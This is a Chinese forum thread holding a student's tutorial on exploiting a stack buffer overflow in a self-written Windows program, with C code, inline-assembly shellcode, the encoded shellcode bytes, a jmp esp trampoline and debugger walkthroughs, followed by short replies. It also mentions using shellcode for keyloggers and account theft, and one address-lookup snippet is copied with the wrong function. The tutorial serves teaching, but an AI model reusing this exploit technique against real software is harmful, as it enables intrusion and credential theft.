吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|www.pkixxr.icu

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 2099|回復: 15
上一主題 下一主題

[漏洞分析] 緩沖區溢出的利用-解密盜號軟件原理(二)

  [復制鏈接]
跳轉到指定樓層
樓主
折木穆 發表于 2019-10-4 10:40 回帖獎勵
本帖最后由 折木穆 于 2019-10-4 14:16 編輯

前言

Hello,各位廣大的網友們好。筆者為大二在校大學生,軟件學院。為踐行費曼學習法,并在前輩的建議下開始寫自己的一系列博客,之前用一篇文章大概的詮釋了緩沖區溢出的基本原理,本文將以此為基礎進行緩沖區溢出利用的研究。

基于緩沖區溢出原理:傳送門:緩沖區溢出的基本原理(一).

實驗前提

  1. 實驗環境 :windows 10,Windows XP;
  2. 使用工具IDA pro , OllyDbg,vc6.0;
  3. 目標軟件 :test3.exe,get_jmp.exe(由自己編寫)

所需基礎

基礎匯編指令

緩沖區溢出的原理

Win32 Api調用

dll動態鏈接庫

數據結構(僅堆棧)

即使上面基礎缺失,本文任有大量的注釋及解釋幫助理解。

緩沖區溢出原理簡單介紹

傳送門:緩沖區溢出的基本原理(一).

一句話概括: 由于程序的運行機制,假設利用strcpy()函數進行字符串賦值,因
定義字符串長度及傳入字符串長度不一致(過長),從而占用了ebp(棧底)和call(函數)返回地址的棧區。基于此可利用修改函數調用結束后的返回地址,從而使計算機毫不猶豫的執行由我們編寫的代碼(shellcode)

概要

實驗依據:利用緩沖區溢出基本原理,64位的應用程序會加載System32目錄下的kernel32.dll,user32.dll,和ntdll.dll。函數執行完esp(棧頂)指針+4的通用性。

實驗思路: 通過利用字符串傳值方式修改函數(call)返回地址,返回地址采用user32.dll系統領空中(jmp esp)從而執行由我們編寫的shellcode代碼段

實驗核心:

  1. 函數執行到返回地址時:esp+4具有大部分通用性
  2. 64位的應用程序會加載System32目錄下的user32.dll
  3. 利用use32.dll段中的jmp esp指令跳轉至shellcode

    ShellCode介紹

Shellcode實際是一段代碼(也可以是填充數據),是用來發送到服務器利用特定漏洞的代碼,一般可以獲取權限。另外,Shellcode一般是作為數據發送給受攻擊服務器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會和漏洞聯想在一起,畢竟Shellcode只對沒有打補丁的主機有用武之地。

實驗開始

test3.exe

#include<stdio.h>  //引入頭文件
#include<string.h>
#include<windows.h>
char name[] = "zhemuzhemumuXXXX";  //定義全局變量

int main()            //返回值 主函數main()
{
        LoadLibrary("user32.dll");        
        char buffer[8];   //開辟8個字節的空間用來存儲變量name
        strcpy(buffer,name);  //內置函數(作用):將變量name內容賦值給buffer變量
        printf("%s\n",buffer);  //輸出在控制臺
        getchar();               //方便觀察 作用:等待用戶輸入按鍵
        return 0;                //返回值
}

text3.c中 ,變量name賦值給buffer后并引起緩沖區溢出,其中mumu占用ebp棧底數據,而XXXX為返回的地址。

get_jmp.exe中C代碼如下:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
int main()
{
        BYTE* ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if (!handle)
        {
                printf("Load Dll is fault");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for (position = 0; !done_flag; position++)
        {
                try {
                        if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE be founded at 0x%x\n", address);
                        }
                }
                catch (...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }

        }
        getchar();
        return 0;
}

獲取ntdll.dll中 [jmp esp] 代碼指令的地址。注明:其中0xFF與0xE4為Jmp esp對應的機器碼

get_jmp.exe的運行結果

在這里插入圖片描述
紅框所選的地址均為jmp esp指令所在的地址,打開OD進行驗證。

OD載入test3.exe程序,進行驗證
在這里插入圖片描述

由上圖:0x74cab5e9地址為jmp esp指令(get_jmp.exe尋找到的任意一處地址都可以用),可用作為函數調用后返回地址,返回該地址后,計算機會毫不猶豫的執行jmp esp指令,然而esp地址具有通用性(大多數情況下不變),利用此特性植入我們的ShellCode

尋找需要植入API函數調用的地址
1.MessageBoxA()  //方便我們直觀查看是否注入成功
2.ExitProcess()   //防止崩潰 關閉進程
3.編寫下面代碼獲取dll中兩處API(第一和第二點)所在的地址

獲取MessageBoxA() 的地址代碼

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32.dll");
        //獲取到user32.dll所在地址
        printf("user32.dll = 0x%x\n", LibHandle);
        //獲取MessageBox函數所在地址
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

獲取ExitProcess() 的地址代碼

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("kernel32.dll");
        //獲取到user32.dll所在地址
        printf("user32.dll = 0x%x\n", LibHandle);
        //獲取MessageBox函數所在地址
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
        getchar();
        return 0;
}

實驗效果如下圖并分別記錄

在這里插入圖片描述

在這里插入圖片描述
開始ShellCode匯編代碼編寫

在這里插入圖片描述

記錄所需要用到的地址以及Message所需要用到的字符串參數

使用VC6.0,編寫內聯代碼

int main(){

        __asm{

                sub esp,0x50          //提升堆棧
                xor ebx,ebx                //異或ebx為0,可用于分割字符
                push ebx
                //push 0x5761726E    //字符串Warn 由于小端序存儲需要倒過來
                push 0x6E726157     //字符串:“warn”
                mov eax,esp
                push 0x146E6F69  //字符串zhemu_injestion 由于小端序存儲需要倒過來
                push 0x7473656A
                push 0x6E695F75
                push 0x6D65687A
                mov ecx,esp
                push ebx
                push eax
                push ecx
                push ebx
                mov eax,0x74baf8b0 //間接調用
                call eax
                push ebx
                mov eax,0x77803be0
                call eax
        }
return 0;

        }

通過VC6.0自帶工具轉換為機器碼。

在這里插入圖片描述
從test3.c中植入代碼

植入ShellCode后的test3.c:

#include<stdio.h>  //引入頭文件
#include<string.h>
#include<windows.h>
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" //占領八個位置
                          "\x41\x41\x41\x41"                 //占領ebp位置
                          "\x79\x5b\xe3\x77"                 //jmp esp地址 返回地址
                          "\x83\xEC\x50"
                          "\x33\xDB"
                          "\x53"
                          "\x68\x57\x61\x72\x6E"
                          "\x8B\xC4"
                          "\x68\x69\x6F\x6E\x14"                        
                          "\x68\x6A\x65\x73\x74"
                          "\x68\x75\x5F\x69\x6E"
                          "\x68\x7A\x68\x65\x6D"
                          "\x8B\xCC"
                          "\x53"
                          "\x50"
                          "\x51"
                          "\x53"
                          "\xB8\xEA\x07\xD5\x77"
                          "\xFF\xD0"
                          "\x53"
                          "\xB8\x0A\xD2\x81\x7C"
                          "\xFF\xD0"
                          ;  

int main()            //返回值 主函數main()
{

        char buffer[8];   //開辟8個字節的空間用來存儲變量name
        LoadLibrary("user32.dll");
        strcpy(buffer,name);  //內置函數(作用):將變量name內容賦值給buffer變量
        printf("%s\n",buffer);  //輸出在控制臺
        getchar();               //方便觀察 作用:等待用戶輸入按鍵
        return 0;                //返回值
}

大功告成,這時候將jmp esp的地址作為返回地址,并在esp地址中編寫自己想要的ShellCode代碼段

OK,到此為止我們了解了一個ShellCode的基本過程,直接運行text3.exe分析,校驗ShellCode是否執行成功?

對text3.exe進行逆向分析。

步驟不多累贅與text1.exe(之前的文章)完全一摸一樣,唯一不一樣在于棧區返回地址被溢出(占用)

在這里插入圖片描述
由上圖可知:
1.原本改返回值:0019FF44地址被占用 且指向我們想要的地址(jmp esp)

F8步過

在這里插入圖片描述
由上圖可知:
1.原本改返回值:0019FF44地址被占用 且指向我們想要的地址(jmp esp)
2.注意紅框的內容,esp值為0019FF48,具有通用性

查看0019FF48地址的內容

在這里插入圖片描述

內容為我們自己編寫的ShellCode代碼段 ,我們繼續F8步過

在這里插入圖片描述

結果并沒有直接執行我們編寫好的ShellCode代碼段,而是出現了一個錯誤。且錯誤堆棧反饋如下

在這里插入圖片描述

經過大量的谷歌以及百度,借鑒論壇的博主回答如下:

在這里插入圖片描述

出處由右下角,屏蔽不必要的廣告。

  1. Windows下可能取消ExitProcess()該函數導致錯誤
  2. 此處留個坑,把《Windows核心編程》原理啃完之后修改此文章

使用虛擬機XP環境進行研究,當然地址有變化如上述描述步驟一樣。并成功運行。

在這里插入圖片描述
至此,大家應該已經了解了緩沖區溢出漏洞的原理,它就是因為我們輸入了過長的字符,而緩沖區本身又沒有有效的驗證機制,導致過長的字符將返回地址覆蓋掉了,利用jmp esp跳轉至我們自己編寫的代碼。
那么依據這個原理,我們的系統就會毫不猶豫地跳到該地址處去執行指令。因此,如利用緩沖區溢出的漏洞,我們就可以構造出任何我們想要做的事,這樣一來,我們就通過程序的漏洞,讓計算機執行了我們自己編寫的程序。

本文其中例子與實例任有不足之處,筆者才學疏淺,若有錯誤之處歡迎指出。任有幾個坑留到日后能力提升后填,以下進行總結!

知識點:

  1. ShellCode緩沖區溢出利用
  2. Win32 Api調用
  3. 小端序,匯編參數從右向左
  4. Jmp esp通用性
  5. Dll相關知識

關鍵詞:緩沖區溢出,Win32 Api,dll調用

留下思考:
Shellcode實際是一段代碼(也可以是填充數據),是用來發送到服務器利用特定漏洞的代碼,一般可以獲取權限。另外,Shellcode一般是作為數據發送給受攻擊服務器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會和漏洞聯想在一起,畢竟Shellcode只對沒有打補丁的主機有用武之地。
除此之外:shellCode還可以做任何事情如:

  1. 惡意破解軟件后加入自己收費驗證。
  2. 調用獲取鍵盤或鼠標輸入函數記錄等等留后門(PUBG黑號盜號)
  3. 等等...

本篇為在已知源碼中進行ShellCode注入,然而大部分軟件并不是開源,需要逆向工程師進行大量的分析以及經驗從而進行無源碼ShellCode注入,下篇會說明如何編寫通用ShellCode以及無源碼的情況下注入!

免費評分

參與人數 17吾愛幣 +17 熱心值 +16 收起 理由
CrazyNut + 2 + 1 哎 都是大學生 差距也太大了 QAQ
朱朱你墮落了 + 1 + 1 現在的學生好吊!!!
wangxp + 1 + 1 [email protected]
夜襲和尚廟 + 1 + 1 太強了 現在的大學生真是太強了
1257276297 + 1 + 1 歡迎分析討論交流,吾愛破解論壇有你更精彩!
q74330 + 1 我很贊同!
穹戲 + 1 + 1 用心討論,共獲提升!
極速網絡 + 1 + 1 [email protected]
鶴舞九月天 + 1 + 1 [email protected]
遇日不歸 + 1 + 1 熱心回復!
gaosld + 1 + 1 用心討論,共獲提升!
asq56747277 + 1 + 1 [email protected]
qaz003 + 1 + 1 先收藏,找時間慢慢看。。
cs0208 + 1 + 1 熱心回復!
729 + 1 + 1 我很贊同!
lookerJ + 1 + 1 熱心回復!
asus21 + 1 雖然不是很懂,但圖文并茂辛苦樓主了

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
濤之雨 發表于 2019-10-4 13:17
樓上正解。。。。。
咱也不知道啊

免費評分

參與人數 1吾愛幣 +1 熱心值 +1 收起 理由
木ID + 1 + 1 哈哈

查看全部評分

推薦
 樓主| 折木穆 發表于 2019-10-4 14:12 <
liphily 發表于 2019-10-4 11:03
所以要使用scanf_s嗎

CTP中PWN類的題都需要利用溢出得到權限,它不止有一種方式有挺多種的
沙發
liphily 發表于 2019-10-4 11:03
5#
zhanyin 發表于 2019-10-4 14:43
如果是遠程命令執行那么shellcode該如何改寫
6#
戒酒的李白 發表于 2019-10-4 16:42
觀摩觀摩
7#
逆天昊龍 發表于 2019-10-4 19:01
你這代碼寫的很厲害
8#
ajjroge61648 發表于 2019-10-4 20:51
謝謝大佬分享教程。謝謝分享
9#
arthas75101 發表于 2019-10-5 00:19
惡意破解軟件后加入自己收費驗證
這種事情還真有不少崽種做過
10#
a192424 發表于 2019-10-5 09:24
學習一下
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:禁止回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|吾愛破解 - LCG - LSG ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2019-10-12 11:02

Powered by Discuz!

© 2001-2017 Comsenz Inc.

快速回復 返回頂部 返回列表
最新黑龙江时时